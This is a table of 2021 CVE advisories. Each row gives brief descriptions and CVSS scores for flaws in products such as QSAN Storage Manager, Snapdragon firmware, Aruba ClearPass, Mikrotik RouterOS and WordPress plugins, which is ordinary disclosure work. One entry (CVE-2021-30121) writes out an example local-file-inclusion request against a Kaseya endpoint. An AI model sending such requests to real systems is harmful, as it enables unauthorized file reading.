CVE-2020-22882	Issue was discovered in the fxParserTree function in moddable, allows attackers to cause denial of service via a crafted payload. Fixed in commit 723816ab9b52f807180c99fc69c7d08cf6c6bd61.	7.5	More Details
CVE-2020-22876	Buffer Overflow vulnerability in quickjs.c in QuickJS, allows remote attackers to cause denial of service. This issue is resolved in the 2020-07-05 release.	7.5	More Details
CVE-2021-32742	Vapor is a web framework for Swift. In versions 4.47.1 and prior, bug in the `Data.init(base32Encoded:)` function opens up the potential for exposing server memory and/or crashing the server (Denial of Service) for applications where untrusted data can end up in said function. Vapor does not currently use this function itself so this only impact applications that use the impacted function directly or through other dependencies. The vulnerability is patched in version 4.47.2. As a workaround, one may use an alternative to Vapor's built-in `Data.init(base32Encoded:)`.	7.5	More Details
CVE-2021-1943	Possible buffer out of bound read can occur due to improper validation of TBTT count and length while parsing the beacon response in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Wired Infrastructure and Networking	7.5	More Details
CVE-2021-1907	Possible buffer overflow due to lack of length check in BA request in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile	7.5	More Details
CVE-2021-1953	Improper handling of received malformed FTMR request frame can lead to reachable assertion while responding with FTM1 frame in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wired Infrastructure and Networking	7.5	More Details
CVE-2021-32514	Improper access control vulnerability in FirmwareUpgrade in QSAN Storage Manager allows remote attackers to reboot and discontinue the device. The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3.	7.5	More Details
CVE-2021-32517	Improper access control vulnerability in share_link in QSAN Storage Manager allows remote attackers to download arbitrary files using particular parameter in download function. The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3.	7.5	More Details
CVE-2020-20585	A blind SQL injection in /admin/?n=logs&c=index&a=dode of Metinfo 7.0 beta allows attackers to access sensitive database information.	7.5	More Details
CVE-2021-32518	A vulnerability in share_link in QSAN Storage Manager allows remote attackers to create a symbolic link then access arbitrary files. The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3.	7.5	More Details
CVE-2020-20583	A SQL injection vulnerability in /question.php of LJCMS Version v4.3.R60321 allows attackers to obtain sensitive database information.	7.5	More Details
CVE-2021-25442	Improper MDM policy management vulnerability in KME module prior to KCS version 1.39 allows MDM users to bypass Knox Manage authentication.	7.5	More Details
CVE-2021-32527	Path traversal vulnerability in QSAN Storage Manager allows remote unauthenticated attackers to download arbitrary files thru injecting file path in download function. Suggest contacting with QSAN and refer to recommendations in QSAN Document.	7.5	More Details
CVE-2021-32532	Path traversal vulnerability in back-end analysis function in QSAN XEVO allows remote attackers to download arbitrary files without permissions. The referred vulnerability has been solved with the updated version of QSAN XEVO v2.1.0.	7.5	More Details
CVE-2021-31925	Pexip Infinity 25.x before 25.4 has Improper Input Validation, and thus an unauthenticated remote attacker can cause a denial of service via the administrative web interface.	7.5	More Details
CVE-2021-20379	IBM Guardium Data Encryption (GDE) 3.0.0.3 and 4.0.0.4 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. IBM X-Force ID: 195711.	7.5	More Details
CVE-2021-25426	Improper component protection vulnerability in SmsViewerActivity of Samsung Message prior to SMR July-2021 Release 1 allows untrusted applications to access Message files.	7.5	More Details
CVE-2021-20415	IBM Guardium Data Encryption (GDE) 4.0.0.4 uses an inadequate account lockout setting that could allow a remote attacker to brute force account credentials. IBM X-Force ID: 196217.	7.5	More Details
CVE-2021-20474	IBM Guardium Data Encryption (GDE) 3.0.0.2 and 4.0.0.4 does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.	7.5	More Details
CVE-2021-31817	When configuring Octopus Server if it is configured with an external SQL database, on initial configuration the database password is written to the OctopusServer.txt log file in plaintext.	7.5	More Details
CVE-2021-31816	When configuring Octopus Server if it is configured with an external SQL database, on initial configuration the database password is written to the OctopusServer.txt log file in plaintext.	7.5	More Details
CVE-2021-34430	Eclipse TinyDTLS through 0.9-rc1 relies on the rand function in the C library, which makes it easier for remote attackers to compute the master key and then decrypt DTLS traffic.	7.5	More Details
CVE-2021-32516	Path traversal vulnerability in share_link in QSAN Storage Manager allows remote attackers to download arbitrary files. The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3.	7.5	More Details
CVE-2020-20582	A server side request forgery (SSRF) vulnerability in /ApiAdminDomainSettings.php of MipCMS 5.0.1 allows attackers to access sensitive information.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-1954	Possible buffer over read due to improper validation of data pointer while parsing FILS indication IE in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Wired Infrastructure and Networking	7.5	More Details
CVE-2021-1585	A vulnerability in the Cisco Adaptive Security Device Manager (ASDM) Launcher could allow an unauthenticated, remote attacker to execute arbitrary code on a user's operating system. This vulnerability is due to a lack of proper signature verification for specific code exchanged between the ASDM and the Launcher. An attacker could exploit this vulnerability by leveraging a man-in-the-middle position on the network to intercept the traffic between the Launcher and the ASDM and then inject arbitrary code. A successful exploit could allow the attacker to execute arbitrary code on the user's operating system with the level of privileges assigned to the ASDM Launcher. A successful exploit may require the attacker to perform a social engineering attack to persuade the user to initiate communication from the Launcher to the ASDM.	7.5	More Details
CVE-2020-28400	Affected devices contain a vulnerability that allows an unauthenticated attacker to trigger a denial of service condition. The vulnerability can be triggered if a large amount of DCP reset packets are sent to the device.	7.5	More Details
CVE-2021-1955	Denial of service in SAP case due to improper handling of connections when association is rejected in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables	7.5	More Details
CVE-2021-36090	When reading a specially crafted ZIP archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' zip package.	7.5	More Details
CVE-2021-1964	Possible buffer over read due to improper validation of IE size while parsing beacon from peer device in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Wired Infrastructure and Networking	7.5	More Details
CVE-2021-35517	When reading a specially crafted TAR archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' tar package.	7.5	More Details
CVE-2021-35516	When reading a specially crafted 7Z archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' sevenz package.	7.5	More Details
CVE-2021-1970	Possible out of bound read due to lack of length check of FT sub-elements in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music	7.5	More Details
CVE-2021-35515	When reading a specially crafted 7Z archive, the construction of the list of codecs that decompress an entry can result in an infinite loop. This could be used to mount a denial of service attack against services that use Compress' sevenz package.	7.5	More Details
CVE-2021-31892	A vulnerability has been identified in SINUMERIK Analyse MyCondition (All versions), SINUMERIK Analyze MyPerformance (All versions), SINUMERIK Analyze MyPerformance /OEE-Monitor (All versions), SINUMERIK Analyze MyPerformance /OEE-Tuning (All versions), SINUMERIK Integrate Client 02 (All versions >= V02.00.12 < 02.00.18), SINUMERIK Integrate Client 03 (All versions >= V03.00.12 < 03.00.18), SINUMERIK Integrate Client 04 (V04.00.02 and all versions >= V04.00.15 < 04.00.18), SINUMERIK Integrate for Production 4.1 (All versions < V4.1 SP10 HF3), SINUMERIK Integrate for Production 5.1 (V5.1), SINUMERIK Manage MyMachines (All versions), SINUMERIK Manage MyMachines /Remote (All versions), SINUMERIK Manage MyMachines /Spindel Monitor (All versions), SINUMERIK Manage MyPrograms (All versions), SINUMERIK Manage MyResources /Programs (All versions), SINUMERIK Manage MyResources /Tools (All versions), SINUMERIK Manage MyTools (All versions), SINUMERIK Operate V4.8 (All versions < V4.8 SP8), SINUMERIK Operate V4.93 (All versions < V4.93 HF7), SINUMERIK Operate V4.94 (All versions < V4.94 HF5), SINUMERIK Optimize MyProgramming /NX-Cam Editor (All versions). Due to an error in a third-party dependency the ssl flags used for setting up a TLS connection to a server are overwritten with wrong settings. This results in a missing validation of the server certificate and thus in a possible TLS MITM szenario.	7.4	More Details
CVE-2021-3547	OpenVPN 3 Core Library version 3.6 and 3.6.1 allows a man-in-the-middle attacker to bypass the certificate authentication by issuing an unrelated server certificate using the same hostname found in the verify-x509-name option in a client configuration.	7.4	More Details
CVE-2021-31225	SES Evolution before 2.1.0 allows deleting some resources not currently in use by any security policy by leveraging access to a computer having the administration console installed.	7.3	More Details
CVE-2021-32521	Use of MAC address as an authenticated password in QSAN Storage Manager, XEVO, SANOS allows local attackers to escalate privileges. Suggest contacting with QSAN and refer to recommendations in QSAN Document.	7.3	More Details
CVE-2021-24015	An improper neutralization of special elements used in an OS Command vulnerability in the administrative interface of FortiMail before 6.4.4 may allow an authenticated attacker to execute unauthorized commands via specifically crafted HTTP requests.	7.2	More Details
CVE-2020-21131	SQL Injection vulnerability in MetInfo 7.0.0beta via admin/?n=language&c=language_web&a=doAddLanguage.	7.2	More Details
CVE-2021-34611	A remote arbitrary command execution vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.	7.2	More Details
CVE-2021-32752	Ether Logs is a package that allows one to check one's logs in the Craft 3 utilities section. A vulnerability was found in versions prior to 3.0.4 that allowed authenticated admin users to access any file on the server. The vulnerability has been fixed in version 3.0.4. As a workaround, one may disable the plugin if untrustworthy sources have admin access.	7.2	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-29150	A remote insecure deserialization vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.	7.2	More Details
CVE-2021-34610	A remote arbitrary command execution vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.	7.2	More Details
CVE-2021-29792	IBM Event Streams 10.0, 10.1, 10.2, and 10.3 could allow a user the CA private key to create their own certificates and deploy them in the cluster and gain privileges of another user. IBM X-Force ID: 203450.	7.2	More Details
CVE-2021-26088	An improper authentication vulnerability in FSSO Collector version 5.0.295 and below may allow an unauthenticated user to bypass a FSSO firewall policy and access the protected network via sending specifically crafted UDP login notification packets.	7.1	More Details
CVE-2021-3571	A flaw was found in the ptp4l program of the linuxptp package. When ptp4l is operating on a little-endian architecture as a PTP transparent clock, a remote attacker could send a crafted one-step sync message to cause an information leak or crash. The highest threat from this vulnerability is to data confidentiality and system availability. This flaw affects linuxptp versions before 3.1.1 and before 2.0.1.	7.1	More Details
CVE-2021-22224	A cross-site request forgery vulnerability in the GraphQL API in GitLab since version 13.12 and before versions 13.12.6 and 14.0.2 allowed an attacker to call mutations as the victim	7.1	More Details
CVE-2021-26274	The Agent in NinjaRMM 5.0.909 has Insecure Permissions.	7.1	More Details
CVE-2021-20593	Incorrect Implementation of Authentication Algorithm in Mitsubishi Electric Air Conditioning System/Centralized Controllers (G-50A Ver.2.50 to Ver. 3.35, GB-50A Ver.2.50 to Ver. 3.35, AG-150A-A Ver.3.20 and prior, AG-150A-J Ver.3.20 and prior, GB-50ADA-A Ver.3.20 and prior, GB-50ADA-J Ver.3.20 and prior, EB-50GU-A Ver 7.09 and prior, EB-50GU-J Ver 7.09 and prior, AE-200A Ver 7.93 and prior, AE-200E Ver 7.93 and prior, AE-50A Ver 7.93 and prior, AE-50E Ver 7.93 and prior, EW-50A Ver 7.93 and prior, EW-50E Ver 7.93 and prior, TE-200A Ver 7.93 and prior, TE-50A Ver 7.93 and prior, TW-50A Ver 7.93 and prior, CMS-RMD-J Ver.1.30 and prior) and Air Conditioning System/Expansion Controllers (PAC-YG50ECA Ver.2.20 and prior) allows a remote authenticated attacker to impersonate administrators to disclose configuration information of the air conditioning system and tamper information (e.g. operation information and configuration of air conditioning system) by exploiting this vulnerability.	7.1	More Details
CVE-2021-32726	Nextcloud Server is a Nextcloud package that handles data storage. In versions prior to 19.0.13, 20.011, and 21.0.3, webauthn tokens were not deleted after a user has been deleted. If a victim reused an earlier used username, the previous user could gain access to their account. The issue was fixed in versions 19.0.13, 20.0.11, and 21.0.3. There are no known workarounds.	7.1	More Details
CVE-2021-26089	An improper symlink following in FortiClient for Mac 6.4.3 and below may allow an non-privileged user to execute arbitrary privileged shell commands during installation phase.	6.7	More Details
CVE-2021-1931	Possible buffer overflow due to improper validation of buffer length while processing fast boot commands in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music	6.7	More Details
CVE-2021-35957	Stormshield Endpoint Security Evolution 2.0.0 through 2.0.2 does not accomplish the intended defense against local administrators who can replace the Visual C++ runtime DLLs (in %WINDIR%\system32) with malicious ones.	6.7	More Details
CVE-2021-30129	A vulnerability in sshd-core of Apache Mina SSHD allows an attacker to overflow the server causing an OutOfMemory error. This issue affects the SFTP and port forwarding features of Apache Mina SSHD version 2.0.0 and later versions. It was addressed in Apache Mina SSHD 2.7.0	6.5	More Details
CVE-2021-22917	Brave Browser Desktop between versions 1.17 and 1.20 is vulnerable to information disclosure by way of DNS requests in Tor windows not flowing through Tor if adblocking was enabled.	6.5	More Details
CVE-2020-19721	A heap buffer overflow vulnerability in Ap4TrunAtom.cpp of Bento 1.5.1-628 may lead to an out-of-bounds write while running mp42aac, leading to system crashes and a denial of service (DOS).	6.5	More Details
CVE-2020-19720	An unhandled memory allocation failure in Core/AP4IkmsAtom.cpp of Bento 1.5.1-628 causes a NULL pointer dereference, leading to a denial of service (DOS).	6.5	More Details
CVE-2021-30640	A vulnerability in the JNDI Realm of Apache Tomcat allows an attacker to authenticate using variations of a valid user name and/or to bypass some of the protection provided by the LockOut Realm. This issue affects Apache Tomcat 10.0.0-M1 to 10.0.5; 9.0.0.M1 to 9.0.45; 8.5.0 to 8.5.65.	6.5	More Details
CVE-2020-19719	A buffer overflow vulnerability in Ap4ElstAtom.cpp of Bento 1.5.1-628 leads to a denial of service (DOS).	6.5	More Details
CVE-2020-19718	An unhandled memory allocation failure in Core/Ap4Atom.cpp of Bento 1.5.1-628 causes a NULL pointer dereference, leading to a denial of service (DOS).	6.5	More Details
CVE-2020-19717	An unhandled memory allocation failure in Core/Ap48bdlAtom.cpp of Bento 1.5.1-628 causes a NULL pointer dereference, leading to a denial of service (DOS).	6.5	More Details
CVE-2020-19716	A buffer overflow vulnerability in the Databuf function in types.cpp of Exiv2 v0.27.1 leads to a denial of service (DOS).	6.5	More Details
CVE-2021-21588	Dell EMC PowerFlex, v3.5.x contain a Cross-Site WebSocket Hijacking Vulnerability in the Presentation Server/WebUI. An unauthenticated attacker could potentially exploit this vulnerability by tricking the user into performing unwanted actions on the Presentation Server and perform which may lead to configuration changes.	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2020-20252	Mikrotik RouterOs before stable version 6.47 suffers from a memory corruption vulnerability in the /nova/bin/lcdstat process. An authenticated remote attacker can cause a Denial of Service (NULL pointer dereference).	6.5	More Details
CVE-2020-20250	Mikrotik RouterOs before stable version 6.47 suffers from a memory corruption vulnerability in the /nova/bin/lcdstat process. An authenticated remote attacker can cause a Denial of Service (NULL pointer dereference). NOTE: this is different from CVE-2020-20253 and CVE-2020-20254. All four vulnerabilities in the /nova/bin/lcdstat process are discussed in the CVE-2020-20250 github.com/cq674350529 reference.	6.5	More Details
CVE-2021-36123	An issue was discovered in Echo ShareCare 8.15.5. The TextReader feature in General/TextReader/TextReader.cfm is susceptible to a local file inclusion vulnerability when processing remote input in the textFile parameter from an authenticated user, leading to the ability to read arbitrary files on the server filesystems as well any files accessible via Universal Naming Convention (UNC) paths.	6.5	More Details
CVE-2021-20738	WRC-1167FS-W, WRC-1167FS-B, and WRC-1167FSA all versions allow an unauthenticated network-adjacent attacker to obtain sensitive information via unspecified vectors.	6.5	More Details
CVE-2020-19722	An unhandled memory allocation failure in Core/Ap4Atom.cpp of Bento 1.5.1-628 causes a direct copy to NULL pointer dereference, leading to a denial of service (DOS).	6.5	More Details
CVE-2021-1596	Multiple vulnerabilities in the Link Layer Discovery Protocol (LLDP) implementation for Cisco Video Surveillance 7000 Series IP Cameras could allow an unauthenticated, adjacent attacker to cause a memory leak, which could lead to a denial of service (DoS) condition on an affected device. These vulnerabilities are due to incorrect processing of certain LLDP packets at ingress time. An attacker could exploit these vulnerabilities by sending crafted LLDP packets to an affected device. A successful exploit could allow the attacker to cause the affected device to continuously consume memory, which could cause the device to crash and reload, resulting in a DoS condition. Note: LLDP is a Layer 2 protocol. To exploit these vulnerabilities, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent).	6.5	More Details
CVE-2021-32506	Absolute Path Traversal vulnerability in GetImage in QSAN Storage Manager allows remote authenticated attackers download arbitrary files via the Url path parameter. The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3 .	6.5	More Details
CVE-2020-22535	Incorrect Access Control vulnerability in PbootCMS 2.0.6 via the list parameter in the update function in upgradecontroller.php.	6.5	More Details
CVE-2021-1598	Multiple vulnerabilities in the Link Layer Discovery Protocol (LLDP) implementation for Cisco Video Surveillance 7000 Series IP Cameras could allow an unauthenticated, adjacent attacker to cause a memory leak, which could lead to a denial of service (DoS) condition on an affected device. These vulnerabilities are due to incorrect processing of certain LLDP packets at ingress time. An attacker could exploit these vulnerabilities by sending crafted LLDP packets to an affected device. A successful exploit could allow the attacker to cause the affected device to continuously consume memory, which could cause the device to crash and reload, resulting in a DoS condition. Note: LLDP is a Layer 2 protocol. To exploit these vulnerabilities, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent).	6.5	More Details
CVE-2021-3541	A flaw was found in libxml2. Exponential entity expansion attack its possible bypassing all existing protection mechanisms and leading to denial of service.	6.5	More Details
CVE-2021-1597	Multiple vulnerabilities in the Link Layer Discovery Protocol (LLDP) implementation for Cisco Video Surveillance 7000 Series IP Cameras could allow an unauthenticated, adjacent attacker to cause a memory leak, which could lead to a denial of service (DoS) condition on an affected device. These vulnerabilities are due to incorrect processing of certain LLDP packets at ingress time. An attacker could exploit these vulnerabilities by sending crafted LLDP packets to an affected device. A successful exploit could allow the attacker to cause the affected device to continuously consume memory, which could cause the device to crash and reload, resulting in a DoS condition. Note: LLDP is a Layer 2 protocol. To exploit these vulnerabilities, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent).	6.5	More Details
CVE-2021-1595	Multiple vulnerabilities in the Link Layer Discovery Protocol (LLDP) implementation for Cisco Video Surveillance 7000 Series IP Cameras could allow an unauthenticated, adjacent attacker to cause a memory leak, which could lead to a denial of service (DoS) condition on an affected device. These vulnerabilities are due to incorrect processing of certain LLDP packets at ingress time. An attacker could exploit these vulnerabilities by sending crafted LLDP packets to an affected device. A successful exploit could allow the attacker to cause the affected device to continuously consume memory, which could cause the device to crash and reload, resulting in a DoS condition. Note: LLDP is a Layer 2 protocol. To exploit these vulnerabilities, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent).	6.5	More Details
CVE-2021-29152	A remote denial of service (DoS) vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.	6.5	More Details
CVE-2021-25427	SQL injection vulnerability in Bluetooth prior to SMR July-2021 Release 1 allows unauthorized access to paired device information	6.5	More Details
CVE-2021-32537	Realtek HAD contains a driver crashed vulnerability which allows local side attackers to send a special string to the kernel driver in a user's mode. Due to unexpected commands, the kernel driver will cause the system crashed.	6.5	More Details
CVE-2021-32526	Incorrect permission assignment for critical resource vulnerability in QSAN Storage Manager allows authenticated remote attackers to access arbitrary password files. Suggest contacting with QSAN and refer to recommendations in QSAN Document.	6.5	More Details
CVE-2021-32509	Absolute Path Traversal vulnerability in FileviewDoc in QSAN Storage Manager allows remote authenticated attackers access arbitrary files by injecting the Symbolic Link following the Url path parameter. The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3.	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-32508	Absolute Path Traversal vulnerability in FileStreaming in QSAN Storage Manager allows remote authenticated attackers access arbitrary files by injecting the Symbolic Link following the Url path parameter. The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3.	6.5	More Details
CVE-2021-32507	Absolute Path Traversal vulnerability in FileDownload in QSAN Storage Manager allows remote authenticated attackers download arbitrary files via the Url path parameter. The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3.	6.5	More Details
CVE-2020-20217	Mikrotik RouterOs before 6.47 (stable tree) suffers from an uncontrolled resource consumption vulnerability in the /nova/bin/route process. An authenticated remote attacker can cause a Denial of Service due to overloading the systems CPU.	6.5	More Details
CVE-2021-30121	Semi-authenticated local file inclusion The contents of arbitrary files can be returned by the webserver Example request: `https://x.x.x.x/KLC/js/Kaseya.SB.JS/js.aspx?path=C:\Kaseya\WebPages\dl.asp` A valid sessionId is required but can be easily obtained via CVE-2021-30118	6.5	More Details
CVE-2020-24038	myFax version 229 logs sensitive information in the export log module which allows any user to access critical information.	6.5	More Details
CVE-2020-20225	Mikrotik RouterOs before 6.47 (stable tree) suffers from an assertion failure vulnerability in the /nova/bin/user process. An authenticated remote attacker can cause a Denial of Service due to an assertion failure via a crafted packet.	6.5	More Details
CVE-2020-20216	Mikrotik RouterOs 6.44.6 (long-term tree) suffers from a memory corruption vulnerability in the /nova/bin/graphing process. An authenticated remote attacker can cause a Denial of Service (NULL pointer dereference).	6.5	More Details
CVE-2020-20215	Mikrotik RouterOs 6.44.6 (long-term tree) suffers from a memory corruption vulnerability in the /nova/bin/diskd process. An authenticated remote attacker can cause a Denial of Service due to invalid memory access.	6.5	More Details
CVE-2020-20213	Mikrotik RouterOs 6.44.5 (long-term tree) suffers from an stack exhaustion vulnerability in the /nova/bin/net process. An authenticated remote attacker can cause a Denial of Service due to overloading the systems CPU.	6.5	More Details
CVE-2020-20212	Mikrotik RouterOs 6.44.5 (long-term tree) suffers from a memory corruption vulnerability in the /nova/bin/console process. An authenticated remote attacker can cause a Denial of Service (NULL pointer dereference).	6.5	More Details
CVE-2020-20211	Mikrotik RouterOs 6.44.5 (long-term tree) suffers from an assertion failure vulnerability in the /nova/bin/console process. An authenticated remote attacker can cause a Denial of Service due to an assertion failure via a crafted packet.	6.5	More Details
CVE-2021-21591	Dell EMC Unity, Unity XT, and UnityVSA versions prior to 5.1.0.0.5.394 contain a plain-text password storage vulnerability. A local malicious user with high privileges may use the exposed password to gain access with the privileges of the compromised user.	6.4	More Details
CVE-2021-21590	Dell EMC Unity, Unity XT, and UnityVSA versions prior to 5.1.0.0.5.394 contain a plain-text password storage vulnerability. A local malicious user with high privileges may use the exposed password to gain access with the privileges of the compromised user.	6.4	More Details
CVE-2021-34625	A vulnerability in the saveCustomType function of the WP Upload Restriction WordPress plugin allows low-level authenticated users to inject arbitrary web scripts. This issue affects versions 2.2.3 and prior.	6.4	More Details
CVE-2020-29014	A concurrent execution using shared resource with improper synchronization ('race condition') in the command shell of FortiSandbox before 3.2.2 may allow an authenticated attacker to bring the system into an unresponsive state via specifically orchestrated sequences of commands.	6.3	More Details
CVE-2021-34616	A remote arbitrary command execution vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.	6.3	More Details
CVE-2021-34615	A remote arbitrary command execution vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.	6.3	More Details
CVE-2021-34613	A remote arbitrary command execution vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.	6.3	More Details
CVE-2021-34612	A remote arbitrary command execution vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.	6.3	More Details
CVE-2021-1359	A vulnerability in the configuration management of Cisco AsyncOS for Cisco Web Security Appliance (WSA) could allow an authenticated, remote attacker to perform command injection and elevate privileges to root. This vulnerability is due to insufficient validation of user-supplied XML input for the web interface. An attacker could exploit this vulnerability by uploading crafted XML configuration files that contain scripting code to a vulnerable device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system and elevate privileges to root. An attacker would need a valid user account with the rights to upload configuration files to exploit this vulnerability.	6.3	More Details
CVE-2021-34614	A remote arbitrary command execution vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.	6.3	More Details
CVE-2020-25925	Cross Site Scripting (XSS) in Webmail Calender in IceWarp WebClient 10.3.5 allows remote attackers to inject arbitrary web script or HTML via the "p4" field.	6.1	More Details
CVE-2020-20584	A cross site scripting vulnerability in baigo CMS v4.0-beta-1 allows attackers to execute arbitrary web scripts or HTML via the form parameter post to /public/console/profile/info-submit/.	6.1	More Details
CVE-2021-35451	In Teradici PCoIP Management Console-Enterprise 20.07.0, an unauthenticated user can inject arbitrary text into user browser via the Web application.	6.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-24409	The Prismatic WordPress plugin before 2.8 does not escape the 'tab' GET parameter before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator	6.1	More Details
CVE-2021-24429	The Salon booking system WordPress plugin before 6.3.1 does not properly sanitise and escape the First Name field when booking an appointment, allowing low privilege users such as subscriber to set JavaScript in them, leading to a Stored Cross-Site Scripting (XSS) vulnerability. The Payload will then be triggered when an admin visits the "Calendar" page and the malicious script is executed in the admin context.	6.1	More Details
CVE-2021-22227	A reflected cross-site script vulnerability in GitLab before versions 13.11.6, 13.12.6 and 14.0.2 allowed an attacker to send a malicious link to a victim and trigger actions on their behalf if they clicked it	6.1	More Details
CVE-2021-24434	The Glass WordPress plugin through 1.3.2 does not sanitise or escape its "Glass Pages" setting before outputting in a page, leading to a Stored Cross-Site Scripting issue. Furthermore, the plugin did not have CSRF check in place when saving its settings, allowing the issue to be exploited via a CSRF attack.	6.1	More Details
CVE-2021-24454	In the YOP Poll WordPress plugin before 6.2.8, when a pool is created with the options "Allow other answers", "Display other answers in the result list" and "Show results", it can lead to Stored Cross-Site Scripting issues as the 'Other' answer is not sanitised before being output in the page. The execution of the XSS payload depends on the 'Show results' option selected, which could be before or after sending the vote for example.	6.1	More Details
CVE-2021-33710	A vulnerability has been identified in Teamcenter Active Workspace V4 (All versions < V4.3.9), Teamcenter Active Workspace V5.0 (All versions < V5.0.7), Teamcenter Active Workspace V5.1 (All versions < V5.1.4). A reflected cross-site scripting (XSS) vulnerability exists in the web interface of the affected devices that could allow an attacker to execute malicious JavaScript code by tricking users into accessing a malicious link.	6.1	More Details
CVE-2021-1575	A vulnerability in the web-based management interface of Cisco Virtualized Voice Browser could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of an affected interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.	6.1	More Details
CVE-2021-36212	app/View/SharingGroups/view.ctp in MISP before 2.4.146 allows stored XSS in the sharing groups view.	6.1	More Details
CVE-2021-26035	An issue was discovered in Joomla! 3.0.0 through 3.9.27. Inadequate escaping in the rules field of the JForm API leads to a XSS vulnerability.	6.1	More Details
CVE-2021-26039	An issue was discovered in Joomla! 3.0.0 through 3.9.27. Inadequate escaping in the imagelist view of com_media leads to a XSS vulnerability.	6.1	More Details
CVE-2021-36214	LINE client for iOS before 10.16.3 allows cross site script with specific header in WebView.	6.1	More Details
CVE-2020-26153	A cross-site scripting (XSS) vulnerability in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php in the Event Espresso Core plugin before 4.10.7.p for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.	6.1	More Details
CVE-2020-24145	Cross Site Scripting (XSS) vulnerability in the CM Download Manager (aka cm-download-manager) plugin 2.7.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via a crafted deletescreenshot action.	6.1	More Details
CVE-2021-29104	A stored Cross Site Scripting (XXS) vulnerability in ArcGIS Server Manager version 10.8.1 and below may allow a remote unauthenticated attacker to pass and store malicious strings in the ArcGIS Server Manager application.	6.1	More Details
CVE-2021-35037	Jamf Pro before 10.30.1 allows for an unvalidated URL redirect vulnerability affecting Jamf Pro customers who host their environments on-premises. An attacker may craft a URL that appears to be for a customer's Jamf Pro instance, but when clicked will forward a user to an arbitrary URL that may be malicious. This is tracked via Jamf with the following ID: PI-009822	6.1	More Details
CVE-2020-18979	Cross Siste Scripting (XSS) vulnerablity in Halo 0.4.3 via the X-forwarded-for Header parameter.	6.1	More Details
